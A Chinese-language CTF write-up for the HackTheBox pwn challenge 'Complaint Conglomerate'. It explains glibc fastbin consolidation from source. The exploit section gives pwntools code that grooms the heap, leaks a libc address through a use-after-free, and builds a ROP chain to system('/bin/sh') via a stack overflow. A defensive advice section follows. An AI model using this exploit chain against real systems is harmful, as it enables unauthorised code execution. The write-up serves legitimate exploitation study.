分析 fastbin chunk 合并的流程与触发时机:HTB pwn - Complaint Conglomerate
字数 1671 2025-08-22 12:23:30
Fastbin Chunk 合并机制分析与利用
前言
本文详细分析fastbin chunk合并的流程与触发时机,通过HTB Challenge中的"Complaint Conglomerate"题目作为实例,结合glibc源码深入讲解fastbin合并机制及其在漏洞利用中的应用。
题目概述
程序功能分析
这是一个典型的菜单程序,提供以下功能:
-
创建投诉(Create a complaint)
- 可以指定索引(0-15)保存申请的内存
- 可申请两种大小:0x30和0x50
- 存在off-by-null漏洞
-
删除投诉(Mark a complaint as closed)
- 释放指定索引的chunk
- 未清空指针,存在UAF漏洞
-
查看投诉(View a complaint by ID)
- 显示指定索引的chunk内容
- 可利用UAF进行信息泄露
-
AI查看投诉(Ask AI to view a complaint)
- 将指定索引的chunk内容复制到栈中
- 存在栈溢出漏洞
-
退出(Exit)
保护机制
- Arch: amd64-64-little
- RELRO: Partial RELRO
- Stack: No canary found
- NX: NX enabled
- PIE: PIE enabled
- Stripped: No
Fastbin Chunk合并机制
malloc_consolidate函数分析
malloc_consolidate是glibc中负责合并fastbin chunk的核心函数,其主要流程如下:
-
初始化设置
atomic_store_relaxed(&av->have_fastchunks, false); unsorted_bin = unsorted_chunks(av); -
遍历所有fastbin
maxfb = &fastbin(av, NFASTBINS - 1); fb = &fastbin(av, 0); do { p = atomic_exchange_acq(fb, NULL); if (p != 0) { // 处理每个fastbin chunk } } while (fb++ != maxfb); -
处理单个fastbin chunk
- 安全检查:内存对齐和大小验证
- 检查prev_inuse位
- 解密next指针获取下一个chunk地址
-
合并操作
-
向前合并:如果prev_inuse为0,与上一个chunk合并
if (!prev_inuse(p)) { prevsize = prev_size(p); size += prevsize; p = chunk_at_offset(p, -((long)prevsize)); unlink_chunk(av, p); } -
向后合并:如果下一个chunk未被使用,与其合并
if (!nextinuse) { size += nextsize; unlink_chunk(av, nextchunk); }
-
-
处理合并后的chunk
- 如果下一个chunk不是top chunk,插入unsorted bin
- 如果是top chunk,则合并到top chunk中
触发时机
fastbin chunk合并主要在以下两种情况下被触发:
-
申请largebin大小内存时
idx = largebin_index(nb); if (atomic_load_relaxed(&av->have_fastchunks)) malloc_consolidate(av); -
使用top chunk且空间不足时
else if (atomic_load_relaxed(&av->have_fastchunks)) { malloc_consolidate(av); // 恢复原始bin索引 if (in_smallbin_range(nb)) idx = smallbin_index(nb); else idx = largebin_index(nb); }
漏洞利用分析
利用思路
-
泄露libc地址
- 通过触发fastbin合并使chunk进入unsorted bin
- 利用UAF读取main_arena地址
-
栈溢出利用
- 使用ret2libc技术获取shell
- 构造ROP链执行system("/bin/sh")
具体步骤
-
填充堆空间
for i in range(9): add(i, 0, "add") for i in range(2092): add(9, 0, "emm") -
释放chunk创建fastbin
for i in range(9): dele(i) -
触发fastbin合并
add(10, 1, "11111111") -
泄露libc地址
show(8) leak = ru("\x7f\x0a")[-7:-1] leak = u64(leak.ljust(8, b"\x00")) libc.address = leak - 0x1d2cc0 -
构造ROP链
rop = ROP(libc) rop.raw(rop.ret) rop.system(next(libc.search(b"/bin/sh\x00"))) payload = cyclic(0x28) + rop.chain() -
执行利用
dele(10) add(10, 1, payload) send_to_ai(10)
关键点总结
-
fastbin合并条件
- 需要存在fastbin chunk
- 在特定malloc场景下触发
-
泄露技巧
- 通过耗尽top chunk空间强制合并
- 利用UAF读取unsorted bin中的main_arena指针
-
利用限制
- 只能申请0x30和0x50大小的chunk
- 需要精确计算堆布局
-
防护绕过
- 利用程序逻辑缺陷绕过保护机制
- 结合堆漏洞和栈漏洞实现完整利用
防御建议
-
代码层面
- 释放指针后及时置NULL
- 严格检查输入长度,避免off-by-one
- 对栈拷贝操作进行长度限制
-
编译选项
- 启用栈保护(Stack Canary)
- 使用Full RELRO
- 考虑使用FORTIFY_SOURCE
-
运行防护
- 启用ASLR
- 考虑使用堆保护机制如Safe-Linking
扩展思考
-
其他触发fastbin合并的场景
- 调用malloc_trim时
- 在特定大小的free操作中
-
现代glibc中的变化
- tcache机制对fastbin合并的影响
- Safe-Linking对利用的阻碍
-
替代利用方法
- 使用house of系列技术
- 考虑partial write等技巧
通过深入理解fastbin合并机制,可以更好地应对相关漏洞场景,并开发出更有效的利用方法。